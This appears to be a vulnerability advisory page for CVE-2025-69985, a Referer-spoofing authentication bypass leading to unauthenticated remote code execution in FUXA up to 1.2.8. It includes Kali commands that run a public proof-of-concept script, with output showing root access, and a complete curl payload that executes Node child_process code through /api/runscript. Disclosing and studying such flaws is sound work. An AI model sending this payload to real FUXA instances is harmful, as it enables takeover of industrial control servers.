CVE-2025-69985:
FUXA Unauthenticated RCE
Published: Feb 25, 2026
Critical
Authorization
CVE-2025-69985 is a critical flaw in FUXA (up to 1.2.8) where the server/api/jwt-helper.js middleware mistakenly trusts the HTTP Referer header to decide whether a request is “internal.” By spoofing the Referer to match the server’s own host, a remote attacker can bypass JWT authentication without credentials. This can lead to unauthenticated remote code execution (RCE), meaning the attacker may be able to run commands on the server and potentially take over the FUXA instance and its data.
FUXA
RCE
Auth-bypass
joshuavanderpoll/CVE-2025-69985
CVE-2025-69985: FUXA ≤1.2.8 Auth Bypass + RCE via /api/runscript
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-69985
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-69985.py -u http://$TARGET_IP:$TARGET_PORT/ -c whoami
Target : http://localhost:1881 Command: whoami [*] Preparing payload → executing: whoami [*] Sending exploit request to /api/runscript ... [*] Response status: 200 [+] Command executed successfully (CVE-2025-69985 bypass)! === COMMAND OUTPUT === "root\n" ====================== ====================================================================== Exploit completed!. ======================================================================
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:$TARGET_PORT/api/runscript -H "Content-Type: application/json" -H "Referer: http://$TARGET_IP:$TARGET_PORT/fuxa" -d '{"params":{"script":{"parameters":[],"mode":"","id":"test","name":"test","code":"const cp = require(\"child_process\"); return cp.execSync(\"whoami\").toString();","test":"const cp = require(\"child_process\"); return cp.execSync(\"whoami\").toString();"},"toLogEvent":false}}'
"root\n"
Vulnerability Identity
Risk Assessment
9.8
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Compexity
low
Privileges
none
Version impact
Affected
<1.2.10
Patched
>=1.2.10